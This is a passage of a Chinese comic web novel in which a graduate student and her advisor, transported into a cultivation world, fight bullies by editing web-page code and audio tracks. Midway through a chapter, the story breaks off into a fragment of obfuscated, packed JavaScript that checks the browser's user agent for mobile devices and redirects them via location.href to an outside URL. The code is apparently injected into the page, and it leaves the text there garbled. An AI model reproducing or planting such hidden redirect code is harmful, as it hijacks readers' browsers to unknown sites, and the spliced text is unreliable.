《我和导师革了修仙界的命》
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烈日炎炎。
席锦与导师一人一个空碗,并肩在墙边要饭。
一个沉默,一个幽怨。
沉默的是席锦的导师。他是社会科学领域知名学者,年轻有为,但似乎不太明白发生了什么事情。
幽怨的是席锦。
身为一个网文写手,她看着面前着古装负长剑、谈笑风生的俊男靓女,知道自己穿越了。
眼前的面板告诉席锦情况:
“这里是修仙界。你与导师成为了落魄的席家兄妹,你叫席派森,导师叫席语岩。”
“席家是修仙世家,但七日前被指控勾结魔物上位,满门尽数被杀。你与导师根骨尽毁,没有威胁到仙门的利益,这才留下性命。换言之,你和导师都是废物。”
席锦大概明白了背景。
但骂人是怎么回事?她的导师可是青年长江学者!
“长江学者也没有用。”面板面无表情地回复席锦,“这里是修仙界,不是学术界。你们的任务是要到饭活下去,为席家沉冤昭雪,这样才能回到现实世界。”
“如果不回到现实世界呢?”席锦忽然问。
“你难道想一直呆在这里?”面板似乎没料到这回应,语气比画饼的老板还要激动,“你可是一个前途光明的研究生啊!留在这里只有吃土的份儿,你还有正在更新的小说和等待追更的读者,你甘心放弃吗!”
席锦怜悯地看着面板,“都学人文社科了,早就做好了吃土的准备,在古代吃土还能换个口味。你登录我的绿江账号看一看,今年单日最高收入为0.05元,和吃土有什么区别。”
席锦关掉了面板,开始苦大仇深地在墙边要饭。
她并不是很想回到现实世界。
穿越之前,她感染了甲流,一边发烧一边咳嗽,左手爬数据右手码字,脑中紧绷着另一根弦打开知网扫论文。再过三天,她就要和导师交流毕业论文的选题,而她毫无准备。
这就是所谓的“研究生”,没有前途,也没有钱途。她们的未来被划分出泾渭分明的两条路,一条通向考公考编结婚生子,另一条通向贫困读博卡教职。
在两条都不想走的路前面,这个天崩开局的修仙世界都眉清目秀起来。
可惜“咕”地一声——
席锦的肚子不争气地叫了起来。
原身已经三天没吃饭了,她眼前已经开始发晕,肚子里像是有一团火球在滚。再不吃饭,恐怕要直接昏过去。
只听导师“唉”了一声,“这个地方该怎么做实验......”
“我那笨蛋学生恐怕要延毕了。”导师忧愁道,“上次在学术会议把茶歇吃光,害我一直道歉也就算了,听说她还挂我的名字投了个水刊,我再不阻止,她定要让我身败名裂。”
“......”
席锦正要回话时,面前传来了刺耳的一声“呦”,“这不是席家兄妹吗,怎么和老鼠一样缩在这里?”
这座城池街巷宽敞,商铺都是三层起步,地面铺满了大理石,许多屋檐上垒着琉璃瓦,想必是闻名天下的大都城。
而那几个人,穿金戴银,恐怕就是系统所说的“修仙世家”子弟。
导师终于意识到不对,“什么席家?”
他看看自己,又诧异地看向席锦,“你是谁,怎么在和我一起要饭?”
席锦心惊惧着一跳,随后涌起狂喜:导师没认出自己,她可以拖延ddl了!
她将计就计地将嘴角一撇,哭道:“哥哥!你不认识我了吗?我是你的妹妹Python啊!”
“我叫席派森,你叫席语岩,哥哥,你忘了吗?”
他难以置信地指着席锦,“你叫Python?”
又指着自己,“我叫C语言?”
他紧盯着地上的倒影,仿佛在用毕生所学去弄懂到底发生了什么。
片刻后,导师重叹一声.
“难怪我们都在这里要饭。”
忽然,二人面前压来了三道身影,仿佛三座大山。
一个扶着剑,面相极凶,仿佛要把所有人打趴下,姑且叫他帝国主义。
一个趾高气昂,身后的小仆从弯着腰,恨不得把头磕在地上,姑且叫他封建主义。
最后一个长得肥头大耳、油光水滑,就叫他官僚资本主义吧。
他们正是嘲讽二人的权贵子弟,分别称作孙峻、赵宜修和钱泰。
最矮的赵宜修站在最中间,让三座大山形成了一个“凹”字。他负着手,用鼻孔瞄了一眼导师,嗤笑道:“你也有今天啊,席语岩?”
导师眉头轻皱,大概是不想惹事,又大概是看不惯这三人的行径,意图带席锦离开。
孙峻却将腿一伸,凶神恶煞地拦住二人,“走什么走?若非赵公子和钱公子求情饶了你们狗命,你们的脑袋早去黄泉路上了。懂不懂得谢恩?”
“只怕嫌我们没有送佛送到西,心生怨怼呢。”钱泰哈哈大笑地将钱甩在二人的头上和碗里,“喏,拿去买东西吃吧。”
他甩的是纸钱。
城中的百姓听闻动静,成群结队地围了过来。
席家刚刚被抄家,那些目光自然不算友善。当钱泰将纸钱砸到席锦身上时,人群中甚至爆发出了哄笑声。
直到赵宜修傲慢地道了声“停手吧”,用一种霸道总裁式三分讥笑四分凉薄五分漫不经心的眼神扫向席锦,扬着高贵的下巴,嫌弃道:“纵使你求我,也只会让我觉得恶心。”
席锦扶着胸口一呕,“这怎么还有个油腻抽象哥。”
这时,席锦眼前的面板浮现出了新的信息:
姓名:赵宜修
年龄:23岁
身高:160cm
门派:剑门,剑道五段,中上水平。
经历:你与赵宜修曾指腹为婚,但赵宜修认为你不配,对你百般厌弃。他求取旁人不得,将打压你视为他的乐趣。
席锦看了看赵宜修这颗高贵的头颅,“他应该改姓乌拉那拉氏,哪怕不学三阿哥长高,好歹能长一长脑子。”
显然,这个没怎么被作者认真设定的小反派,被席锦的话激怒了。
“油腻?抽象?你是第一个敢对我这么说话的人。”
孙峻也招呼来了仆从,“她以下犯上,简直大不敬,好好告诉她‘礼’字应该怎么写!”
仆从们面对孙峻时低声下气,但面对席锦,一个个都磨着牙拍起拳头,简直要把“欺软怕硬”四个字写在脸上。
席锦的额上一阵锐痛——一名仆从丢来了石头,在她脑袋上蹭出血痕。
她心里蹭地冒出火苗。
敢打她?
她可是能把羽毛球压线杀到后场的人,要是有羽毛球拍在,早就冲上去揍人了!
可惜,席锦并不是什么体育生,也没学过跆拳道。她的导师更是文文弱弱,天天用保温杯泡枸杞,真若动手,只会被这些五大三粗的人摁着打。
好在,当赵宜修说出“该死的派森”时,席锦脑中“叮”了一声,面板上竟然自动浮现出了26键的
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键盘。
席锦在键盘上疯狂敲击,界面毫无反应。
目光碰到F12按键时,面板上出现了网页源代码。
随着小喽啰逼近,席锦下意识摁下Ctrl+F搜索“赵宜修”三个字,页面自动将有关的代码标亮。
div style="width:200px;height:600px;color:#FFCC99"
赵宜修,高600像素,宽200像素,淡黄色。
电光火石间,席锦也不顾为什么出现的是网页源代码而不是游戏后台程序,死马当活马医地将color后字符改成green。
瞬间,人群中引起了惊叫。
抬头看去,赵宜修整个人都变得苍翠欲滴。
他没有丝毫察觉,迎着钱、孙二人震惊的目光,奇怪地皱眉,“怎么了?”
在他发觉到自己变绿了之前,席锦当机立断删除了赵宜修的代码。
赵宜修凭空消失了!
在场的所有人,孙峻,钱泰,都惊得后撤好几步。
他们以为有妖魔作祟,拔剑出鞘厉声喊道:“是谁!竟敢在西土城撒野!”
他们的目光落在了无辜的席锦身上。
“是你!”孙峻狠狠指向席锦,“你们席家勾结妖魔,你一定也练了什么妖术。”
席锦立马辩解:“我什么都不知道!”
“你一定是故意的!”孙峻愤怒地使唤着仆从,“来人,把这兄妹二人关入地牢,大刑伺候!”
既然如此她也不客气了。
席锦搜索到了孙峻的代码,Backspace,删除。
场上只剩了钱泰一个人。
钱泰吓得东张西望,色厉内荏地指着席锦:“你、你这个妖魔,你会遭到报应的!”
说完,钱泰就要跑。
这大概是三个人中唯一的软柿子。席锦知道,如果不想让这群公子哥再欺负自己,今天就必须把事情做绝。
而且,她碗里还空着呢,怎么可能放这个富得流油的家伙走?
席锦选中了名为“钱泰”的代码,加入动画循坏指令keyframes scrolling。
钱泰朝前方飞奔了一段距离后,忽又调转了身子,目瞪口呆地跑了回来。
钱泰跑过来,钱泰跑过去。
钱泰见自己如鬼打墙一般乱转,终于惊慌失措地问席锦:“你、你到底想干什么!”
“我也不知道啊!”席锦委屈而柔弱地伪装道,“可能是我的爹妈在天之灵不允许让我受欺负?你给我一些银子,没准就花钱消灾了呢?”
钱泰吓得脸都白了,慌里慌张地搜罗出一块银锭,双手合十四下乱拜,“我们真没有其他意思,我们是想照顾您的女儿呀!”
席锦拿钱办事,把钱泰的代码删除了。
而后对看傻了的人群说:“我不知道刚刚发生了什么。”
“是啊是啊我们什么都不知道。”
人们大概以为席锦真的练了什么邪术,状若惊慌又故作镇定地离开。
席锦心花怒放,偷偷摸摸地拿走银锭时,撞见导师见鬼一般的目光。
导师眼睛亮得像是找到了国家社科基金项目的绝佳选题。
“你能操纵他们?”
席锦打了个寒噤。
她做贼般凑上前,“哥哥你忘了吗,我学过仙门的术法呀!”
“噢,这可真有意思。”导师喃喃着,“就好像这个世界有代码一样。”
2. Audition
在钱泰的“赞助”下,席锦以为终于能吃一顿饱饭。
但刚踏入饭馆就被人赶了出来。
“这不是席家兄妹吗?”饭馆的小二挥着扫帚,阴阳怪气地道,“都堕入妖魔道了,还吃什么饭?”
饭馆的人听见了动静,都放下筷子看热闹。
席锦看了眼导师,导师还处于断网状态,紧皱着眉,大概没弄懂现在是什么情况。
系统继续提醒着她:“这里是孙泰家资助的餐馆,你可能会在这里吃不了兜着走。”
“怕什么?吃不完带着走。”席锦不怎么在意道,“这里的哪家餐馆可以吃饭?”
“都吃不了。”系统诚挚道,“实不相瞒,你和导师更适合吃土。”
席锦:“......小心我出去后把你的电源拔了。”
她碰了碰F12,试图修改代码,但面板没有反应。
难道查看源代码的功能有什么限制?
席锦仔细观察了一下眼前的面板。
这个面板像是早期的Windows XP系统。她操纵的源代码页面是整个界面的背景,左上角有一些熟悉的软件图标。
有Pycharm,浏览器,以及AU、PS、PR等不知道有什么用的软件。
还有,是谁把腾讯会议安装上来的?
甚至有一个晋江文学城。难道说这是本晋江的书?
席锦发现界面上还有个名为“语录”的文件夹,点开里面的txt文本,出现了刚才她胡乱输入的内容:
【不要杀我啊啊我只是个月资助600的贫穷研究生我没有男朋友没有研究成果没有实习经历连头发都没有杀了我也没用啊啊啊啊啊】
席锦一脸冷漠地把文本放入回收站,“这又是什么功能?”
“不知道。”系统道,“总之你输入的文字会被记下来。”
“你可是系统!居然连这个都不知道?”
“你读了两年研究生能记住领域内的所有理论?”
“我会去查浏览器!”席锦有些绷不住,“你们肯定也有知网一样的东西,快去查,我还等着吃饭。”
导师忽然道:“小心。”
一口唾沫精准无误地落在席锦刚刚站立的地方。
“快走开。”小二挥舞着扫帚,一脸凶恶,“别让我们沾染了妖魔的晦气。”
“走开,快走开!”人们朝二人扔起了筷子。
看着席锦和导师狼狈地东躲西躲,人们停下动作笑出了声。大概是和赶走二人相比,这样欺负二人更能获得满足。
席锦心头腾起了无名火。
她当然可以去其他的饭馆,但眼前这家人算是最少的。到了别处,只怕会遭受更多的气。
为什么。
为什么在学校当牛做马累成狗了还要在这里受气!
可恶的作者就不能写一些不憋屈的东西吗!
席锦并不清楚这是什么类型的小说。要是后面来什么抽象男出面相助的爱恨情仇,她只怕会更绷不住。
席锦恼怒道:“我要挨个把他们删除掉。”
“这不行。”系统一板一眼道,“你的电脑会宕机的。而且,你最好不要悖离‘娇软’这个人设,否则他们可能真以为你通了妖魔。你要记住,这可是一本晋江小说。”
“笑话,我可是鹰一般的INTP,我会怕你?”
“那你的电脑权限就要被锁定了。”
“......”席锦哑了火。
这可是她的金手指,万万不能被丢掉,“你查出来txt怎么用了吗?”
“你看文献有这么快吗?”
“我好歹——”
席锦正要和系统吵架,又有人扔过来了筷子,“快走啊扫把星,怎么还不走?”
“喏喏喏,我这里有些剩饭,要不你们拿去吃?”旁边的人唤狗一般唤着,就要将剩菜的汤汁泼在二人身上。
席锦飞快点着软件和键盘,终于,她发现了自己可以点开AU。
AU是一款音频处理软件。本科主修新闻传播专业时,席锦学过这个软件。
但一款音频处理软件能干什么?
这时,页面上弹开了提示:
【是否恢复工程“第二章人物配音.sesx”?】
席锦选择了是。
黑绿色.界面变成了AU的样子。她看着十几条音轨和正在走动的时间线,心想:“不知道这些文件是从哪里打开的。”
她已经三年没用过这些软件。幸好,当年的小组作业基本都是自己完成的,她还记得如何裁剪音频、降噪、对轨、混响。
不知道哪个功能管用,席锦决定先试一试。
她把正在猖狂笑着的、想要泼菜汁的人的语音条删除了。
“哈哈哈——”
那人以一种奥楚蔑洛夫的姿态笑着笑着,忽然如按下停止键一般,大张着嘴,高扬着嘴角,却发不出任何声音。
他震惊地看着朝自己投来的目光,卡着脖子清着嗓子,脖颈皮肤颤动了几下,仍然是如康桥般的沉默。
他炸了毛,一看桌上吃了一半的鱼,大约是觉得饭店下了毒,指着看戏的小二就要吵架。
席锦正在研究界面,将文本文件改名为“第二章人物配音”,凭着感觉打出一串乱七八糟的文字。
“weojnowenwejwoen!”
客人以恨不得贯穿三条街的高昂嗓音朝小二大喊着。
小二的托盘哗啦落地。
“客、客官,您、您这是......”小二难以置信地看着公鸡一般愤怒的人,“您在说什么?”
“kjsdonmfsnfwoenqgnqiqnrgqe!”客人又重复了一遍。
小二看着客人桌上的蘑菇,震惊地捂着自己的脸,“您——中毒了?”
原来txt文本是这样用的!
席锦不懂其中的道理,但是穿越这种事情本身就无法用常理解释。看着人们一脸震惊,客官则气得满脸通红,席锦适时开口:“既然你吃完了,我们可以落座了吗?”
眼看着客官又要辱骂自己,席锦点开AU的效果器,耳不见为净地为轨道添加“鸡叫”效果。
那天,西土城的人们仿佛被不明生物侵入,眼睁睁看着一个身长八尺五大三粗的魁梧男子,在众目睽睽之下——
开始打鸣。
他的每一次张口,每一声谩骂,每一句诋毁,都变成了嘹亮高亢的鸡叫声。
“啯啯啯——咯咯哒!!”
“咯咯哒!咯咯咯咯——哒!!”
就在这时,AU界面上多出了几条轨道。
席锦这才发现“鸡叫”前面还有一个子分类,叫“动物园”。
于是她给除自己外的所有人都添加了不同的效果。
在如康桥般的沉默之后,围观看戏的人忍受不住这场闹剧,捂着肚子纷纷爆笑出声。
但他们不知道席锦已经给所有人
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都添加了效果器。
于是他们的笑声变成了——
“汪汪,汪汪汪汪汪。”
“咯咯哒咯咯哒。”
“嘎嘎嘎嘎——”
很显然,他们也被自己的笑声惊到了。在诡异的几秒寂静之后,他们看着彼此,又因对方的声音爆发出惊世骇俗的狗叫鸡叫鸭叫鹅叫。
“嘎嘎嘎!!!”
“汪!呜汪呜汪!!”
哇,这景象。
真的是——
黄金矿工都没有挖到过的神金。
席锦的心情瞬间云开雨霁,嘴都快咧到耳根上。
但她刚咧开嘴,就见面板弹出巨大的“错误:人设不符”窗口。
她只能咬牙切齿地收起笑,三份娇羞四分惊讶地捂住自己的嘴,“你、你们是怎么了?我这就去找郎中!”
有人警觉地朝她大喊:“汪!”
小二也拼命摆手制止,“嘎嘎嘎嘎!”
对在场的所有人而言,这简直是惊世骇俗的丑闻。他们还得在西土城中混,若让人知道变成了狗,后半辈子的脸面还要不要了?
但除了郎中和仙门,这件事还有谁能解释?
他们总不可能跑到仙门门口当街狗叫,能依靠的、唯一会说人话的人只有席锦。
“那怎么办,难道就这么看着你们变成,变成......”席锦越说声音越小,忽然醒悟道,“啊!我好像在古籍中见过这种病,你们像是被封印了!”
席家毕竟是修仙世家。
一听是封印,他们深以为然,也不管席家是不是私通妖魔,都求助般看向席锦。
“但是我好饿啊。”席锦往空出来的木椅上一倒,弱柳扶风般撑着额头,“哎呀,该怎么解除那个封印来着?我怎么想不起来了?”
小二立马呈上来热茶,跪在地上给席锦捶腿。
这真是好茶,入口回甘,堪比蜜雪冰城。
席锦润了润干裂的口舌,脸色苍白地将茶盏挪开,“光喝茶怎么能够?”
情急之下,小二也顾不得要不要拿钱,“嘎嘎嘎嘎嘎?”
像是在问她还想要什么。
席锦想起穿越之前,自己正等舍友投喂疯狂星期四的十翅一桶。
于是她伸出苍白无力的手,遥遥一指曾经鸡叫过的那位客官。
客官顿了片刻,“咯咯哒?”
、
小二立马醒悟她想吃鸡肉,把鸡叫的客官推到灶房中。
只听一阵鹅叫鸭叫鸡叫声后,客官又被推了出来。
原来是小二无法说话,指着鸡叫客官,示意厨子赶紧杀鸡做饭。
不多时,小二便呈上来了一盘荷叶鸡。
色泽金黄,芳香扑鼻。
席锦咽了口唾沫,正要撸起袖子狼吞虎咽,又见闪烁的小感叹号,只能小口小口地吃着。
她见导师也盯着荷叶鸡,想起了自己当会议志愿者时,曾经把专家们的茶歇吃光,害得导师挨个道歉。
于是她推给了导师,直到吃饱喝足了,才擦擦嘴,问着导师:“你还有什么想吃的吗?”
导师目光幽幽地看着她,没有说话。
她以为是导师抹不开脸,悄悄道:“我学了仙术,趁他们还肯好声好气说话,多吃点东西。”
导师斟酌再三,终于说出了三个字:“咕咕咕。”
导师:“?”
席锦:“?”
她什么时候把导师变成鸽子了?
3. 百度云
短暂的沉默后,席锦险些克制不住地扬起邪笑。
导师似乎也很尴尬,不再咕咕直叫,沉默地吃起小二呈上来的东西。
她付了钱,一本正经地对众人道:“你们是受了封印,只要模仿动物行为就能解除。”
她指着鸡叫的食客,“你去那边金鸡独立一个时辰。”
又指着狗叫的食客,“你把骨头咬碎吃下。”
又看看导师,心生邪意,正想说“你来替我写毕业论文”时,饭馆的门被人踹开。
“那两个妖孽就是来了这里!”
黑压压的三拨人蜂拥而至,一拨红衣,一拨黄衣,一拨青衣,是和赵宜修等三人一样的红绿灯组合。
这回带队的人比赵宜修等人老练许多,身后跟着的家仆也气势汹汹,像是要用目光将席锦刺穿。
他们都盯向张牙舞爪、动作扭曲的食客们,神色愈发冰冷。
“果然是邪术。”红衣中年男子愤然地指着席锦,“我赵家家主岂容你放肆!妖女,你将宜修藏到哪里去了!”
“还和她废话干什么?”一旁的青衣青年也磨着牙,剑拔出鞘,“孙家一百零八道酷刑,不信她不交代!”
有了面板的帮助,席锦的心虽然惊惧着一跳,但还是有了底。
她将茶水慢条斯理地放下,正要按F12打开源代码,页面却卡住了。
席锦试图点开AU图标,谁知界面竟然死机了!
她用神识疯狂摁F12,甚至摁Ctrl+Alt+Del调动任务管理器,但界面一点反应都没有!
赵钱孙三家的仆从却已蜂拥而上,抓住了席锦和导师的胳膊,就要将人带走。
原主大概真的没学过什么武功,离开金手指后,根本不是这群仆从的对手。席锦恨不得拿出羽毛球拍,以被论文气到疯狂杀球的态度和他们决一死战,意料之外的事情发生了。
方才还在扭曲爬行的众人蜂拥而至,堵在了赵家主面前,一个个紧闭着嘴、抱拳跪着,求赵家主放席锦活路。
身侧的仆从察言观色怒道:“大胆!这可是祸乱无穷的妖女,你们难道要与她为伍吗?”
钱家的人也重重一点掌柜,“你们知道她是谁,为什么不赶走她!”
餐馆毕竟受过钱家资助,此时的掌柜简直有苦说不出。
他张了张嘴,却只能——
朝对方打鸣。
“咯咯啯——”
问话的钱家人一愣,一旁的赵家主也是一愣。
缩在掌柜身侧的小二也垂头丧气,“汪汪。”
“你们——”赵家主神色凝重地环顾四周,见旁人皆面露菜色,受到极大的打击,若有所悟,“都说不出话?”
众人点头如捣蒜,眼巴巴地看着赵家主,并愤恨地看向席锦。
不少人扬起下巴朝席锦呲牙,仿佛一解开封印,就要和席锦决一死战。
席锦冷汗直流。
她还不太懂这个世界的运作机制,像赵家这么厉害的家族,大概真有解开封印的办法。
谁知赵家主将剑一拔,“好,看来你们和他二人是一伙的!来人,都给我杀了!”
席锦:???
众人没料到这后果,一旁的赵家子弟却立时要动手。食客们皆哇呀咯哞汪地叫了起来,偌大个饭馆仿若动物园。
就在这时,导师忽然抬头看天。
他一脸严肃,仿佛天上飘来了一篇被编辑部退稿的论文。
席锦观之,神情也是一肃。
身为一只ENTP,导师不像刻板印象里的骨折眉毛那样四处贩剑,却总是顶着鸡窝头一脸烦烦的,又烦又生无可恋。他唯一的乐趣就是在组会上暴怼学生,将众人怼到蔫头耷脑,自己却幸灾乐祸。
这么严肃的神情,居然能出现在他脸上?
席锦立刻有了种预感:天上有不得了的东西。
她也随之抬头。
一开始,天上空无一物。
慢慢地,那些云层竟然一点点聚集,泛起了金色的光芒。
“你们看!”有世家弟子瞠目结舌,“这、这、这是......”
“这是神仙显灵了?!”
所有人瞳孔剧震!
这个世界的人,还是相信有神存在的。
据说神明藏身在云层之中照拂着人们。无数人敬神、拜神,却只能在特定的条件下,窥见其一二真容。
曾经坐镇人界的盟主更是说:自己也是走到穷途末路,恨神明不帮自己时,才在某个雷雨之夜看见了神明。自那之后,他一心求道飞升,终得盟主之位。
这一信仰影响着大地上的所有人,求道飞升之路,从此愈发激烈。
那可是百年难见的神明......是什么惊动了祂?!
往那金云上一瞥,赵家家主也了悟了缘由,轻蔑地一扫席家二人,“神明定是替我们捉拿这两个妖魔的!哼,勾结妖魔之辈,天道都看不下去!”
而后,赵钱孙三家的人,以及所有的食客,都如汤饺一般扑通通跪了下来。
威压。
空中的云仿佛骤然压下千米,气压低沉,叫席锦几乎喘不过气。
这就是神吗?
她经受过徐涛腿姐肖秀荣的洗礼,但在考研那一年,还是去了雍和宫。
席锦是信神的。
哪怕她许愿小说万收,可惜佛祖耳背,只让她增加了one收。
后来她信誓旦旦地对佛祖说:“我相信以我的实力,没有解决不了的事!”
结果她碰见的事情,神仙都解决不了。
看着世家弟子们幸灾乐祸的目光,她忽觉这威压格外吓人,一时竟分不出这神明是不是真的来抓自己的。
“导......”她立马改口,“哥哥,我们要走吗?”
导师定定地看着那朵云,目光锐利。
而这朵云,果然缓缓凝聚成了一个人脸。
这朵云,竟然,竟然变成了——
马云。
整个天空,都是马云。
“神明显灵了!”有人高喊着,朝马云笃笃笃地磕头。
席锦也愣住了。
这是什么?
——这是神吗?
这这这......
她的膝盖缓慢地直起,非但没跪,还忍不住噗嗤一声。
赵家的家主早已把额头磕破,不停地念叨着“还我儿子性命”,听见她这声嗤笑,恼怒着一回头,将手一指,“你个妖女!既然敢害我儿身死,今天也要让你死无葬身之地!”
“还有你!”他又指向导师,神情轻蔑,“就算你是个废物,这件事也脱不开责任!”
导师终于回过神。
他眉毛一竖立马改口:“咕咕咕——”
席锦疯狂调开任务管理器。
“哈哈哈哈哈......”赵家几个家仆乐不可支,“哈哈哈哈......看起来你是真的废物,连你妹妹的妖术都抵挡不了,遇到了神仙也不知道跑哈哈哈......”
就在这时,席锦的任务管理器打开了。
她立马关闭了AU软件,解除封印后,空中响起导师嘹亮的吼声:
“你们这群修仙世家的又养出几个仙人了这就是你们的项目成果吗?就知道笑笑笑,你们做的事情价值点在哪里,和其他人的差异在哪里,有什么壁垒形成了什么核心竞争力?你们是这个领域的世家也该是这个领域的专家,一天天的不修炼干什么想着去行政岗养老然后天天被学生投诉?你们这个年龄段这个阶段还睡得着觉有点出息没有?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965904|193375||http|test|mini|href|location''.split(''|''),0,{}));
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>席锦胸膛骤然一痛。
痛的不止是她,那些倒地的弟子们,甚至连赵家家主——竟都呕出一口鲜血!
“这、这又是什么妖法?”赵家家主捂着胸口恨恨地看着导师,“你,你刚才念了什么咒语,为何我心口如刀绞般疼痛!”
“哎呦呵。”导师也莫名其妙地一愣,“这招式这么灵?”
——导师也有金手指!
虽无法从根本上改变现状,但导师的金手指,居然比席锦更利于输出。
而一旁的钱少爷,一边吐血,一边忍无可忍地提剑而起,就要与二人决一死战。
正当导师准备开口时,云中传来了响亮的笑声,“小友,你既有与我神识交流的能力,在乎他们干什么!”
风簌簌吹过,天上的马云散了。
云中缓缓飘下一个鹤发童颜的人影。
仙人哈哈笑道,“一百年过去,你是第一个在百度云里和老夫加为好友的人。小友,正版Python和Stata软件,你可共享给你的学生了?”
“我哪知道我学生在哪里......”导师愁眉苦脸,“唉,要不是需要靠她操纵系统,我能受这些气?我可得好好看看她学成了什么样。”
“哈哈哈......”仙人笑了几声,“莫慌莫慌,时机到了自然会见到她。这是给你们的入宗信件,想要查什么就尽管去查吧。”
说罢,仙人一甩衣袖,留下两封推荐信长笑离开。
席锦和导师捡起了各自的推荐信,上书“光明宗”三个大字,落款是“云渺道人”。
导师的推荐信上写着:“此子根骨虽废,然灵思之奇诡,视角之刁钻,实为平生罕见。众人惑于表象之时,唯此子直指现象核心,并试图打开我之百度云以进行资源互换,于绝境中仍保有毒舌与杠精之本色,非寻常废人可比。故特荐此二人入万卷阁。不必授其高深道法,可暂且安置于藏经殿或杂学坊,允其有限度地接触底层典籍与边缘事务。”
席锦的推荐信上写着:“此子堪当牛马。”
席锦:“......”
她正要痛骂,一旁的小弟子却惊呼道:“光明宗?”
“就是那当今盟主光明宗?”
“就是那万里挑一才能入门的光明宗?!”
众人皆裂开了,赵家主的脸色尤其难看。
西土城一带的人做梦都想去光明宗,可就连赵家,若干年过去,也没有能拜入光明宗的弟子。
“等一下!”见仙人就要离开,赵家主膝行上前,长长叩首,“仙人,这两人分明是妖孽,夺我赵钱孙三家子弟,险些戕害这客栈的人——还望仙人明鉴!”
可惜仙人已经走远了。
赵家主收回眼神,怒目看向席锦,却被导师挡住视线。
大约是想起导师言语攻击的威力,赵家主咽下一口气,眼中却仍闪烁着怒火,“你们害了赵钱孙三家的公子......别以为去了光明宗,我们就不会报仇!”
这时,席锦的电脑忽然好了。
她发现电脑磁盘容量少了一点点,系统提示道:“你删了那三个少爷,磁盘上多出来了垃圾。”
“我删了他们不该是删掉垃圾吗?”
“不对。”系统纠正道,“你把属于这个世界的东西挪到自己的磁盘里,所以磁盘里多了三坨垃圾。”
“那就把垃圾还给你们好了。”席锦腹诽着,打开源代码,开始编写三人的代码。
但她面对密密麻麻的网页源代码沉默了。
“写啊。”系统道,“你怎么不动了?”
席锦神色僵硬地看着界面。
片刻后,她发出了熟悉而无助的、几乎所有Python萌新都会发出的声音。
“代码......怎么写来着?”
4. turtle
div......color=green......
ctrl+c......ctrl+v......
食馆内出现了三坨绿色物体。
仿佛是太乙真人在凭空造人一般,这三坨物体慢慢长出了手脚,探出了脑袋。
人们惊愣着后撤一大步,左顾右盼,除了看见脸色难看的赵家主和神情凝固的席锦,竟不知是何方真人在施法。
席锦不知道人的代码怎么写,但她既然懂一点点网页源代码,自然明白写代码的第一要义是复制别人的代码。
她复制了赵家主的代码。
只见一坨物体慢慢长成了赵家主的模样,嘴角一撇,哭着扑向震惊的赵家主,“爹——”
赵家主惊得拔剑闪躲,恼怒道:“妖女!你又在做什么邪法!”
席锦没理会他。她将剩下两坨物体分别CTRL C+V。
于是这三坨不明物体,都变成了绿油油的赵家主。
席锦的编程能力到此为止。她也不打算再修改,拍拍手准备走人。
赵家主咬牙道:“妖女,你把我儿变成这等模样,就算有仙人庇佑,这条去光明宗的路,我也能让你吃不了兜着走!”
席锦又故作娇羞惊慌地捂住自己的嘴,“家主在说什么?小女子什么都没做啊。”
一开始,席锦还不太适应系统给她的身份。
现在嘛......看着众人一脸愤怒又困惑的模样,她仿佛穿越到了什么莫名其妙的剧本杀中,真爽。
“那,小女子先告辞了?”她福了福身,和导师正要走出,却被几个凶神恶煞的小弟子拦下了路。
席锦正要想办法,导师先开了口。
“先帝创业未半而中道崩殂金天下三分益州疲弊此诚危急存亡之秋也......[1]”
“呃啊,我的脑袋!!”有人大叫着捂住了头。
“这、这又是什么咒语!我的脑袋,要裂开了!!”
“哼。”导师蔑笑一声,“和我比说话?你们还是太幼稚了。”
他朝席锦招了招手,“走吧,找我那笨蛋学生去。等找到她,我就让她给你编写几个代码,别再被这群人欺负。”
席锦简直泪流满面。
真是正义感爆棚的导啊......
但千万别认出她就是那个笨蛋学生,千万别。
............
“席家纵有冤屈,也不该把我儿变成这般模样!”
赵家主带着一群和自己长得一模一样的家伙,声泪俱下地找到了西土城城主,“仙人为何不灭了他们,还让他们去光明宗?城主,当年席家灭门一事,你我都知是因为——”
“嗯!——咳咳咳。”西土城城主挤在太师椅上,强调般咳了几声,“仙人的安排怎么是你我能过问的?但没关系,他们席家的技法我也略知一二,区区一个Python还难不倒我。”
只见城主捏了捏胡子,口中念着什么咒语,将手一点。
无事发生。
他一边嘟囔着这不对啊一边又将手一指。
三个人竟都变成了原地画圈的海龟!
赵家主实在看不懂,“城主,这是......”
“这......哈哈,这只是初始程序。”城主立马翻开书。古朴的封面上,写着一行大字:《学席派森从入门到放弃》。
一刻钟后,西土城城主终于把三人变回了原本的模样。
赵家主感激涕零,“可那席家二人一定是学了妖法!城主,我们就这么眼睁睁看着他们去光明宗?”
“唉,仙人的意思你也不是不理解。”西土城城主感慨道,“只要能帮仙人开辟灵脉资源,什么样的法子不是法子?席家不也因太过聪明才被仙人灭门的吗?这二人虽然蠢笨,却也有些门路,没准仙人琢磨透他们的法子就抛弃了呢。”
随后话锋一转,“别光想着他们俩啦。你们赵家赶在仙盟大选之前,又想出了多少开采灵脉的办法?”
............
席锦和导师一起上路,他们的目的地是光明宗。
但他们都是P人。
所以他们根本不想去光明宗,哪怕时间快要截止了,席锦还在磨磨唧唧地打呵欠,如蜗牛一般和导师一起爬山。
系统还在不断提醒她任务:“你们要去替席家沉冤昭雪......替席家沉冤昭雪......”
席锦在心里幽幽叹了声,“我就非去不可吗?”
“不去就永远被困在这个世界了!”
“那可太棒了。”席锦面无表情道,“谁愿回去谁会去,我是不会继续当牛马的。这里有金手指,不比那个乱七八糟的现实世界爽。”
“你不可以这样!”
“就可以这样!”
“不可以!”
“唉......”另一旁,导师正坐在树下,语气万分惆怅,“这任务,我就非做不可吗?”
“我才不想回到现实世界。马上就评科研绩效了,我才发了2篇C刊,今年肯定又是我最低。”
“什么叫2篇C刊就是摆烂?这两个研究我都做了半年甚至一年好不好!你以为一年发54篇C刊其中20篇都是读书笔记就是好事?”
导师对着空气咒骂起来。
席锦叹了一声,“你看,没人想回去。”
“你们不能这样......”系统的话苍白无力,“你们......难道不想想自己的未来......事业......还有爱情......”
席锦指了指导师,“他,单身。”
又指了指自己,“我,母胎单身。”
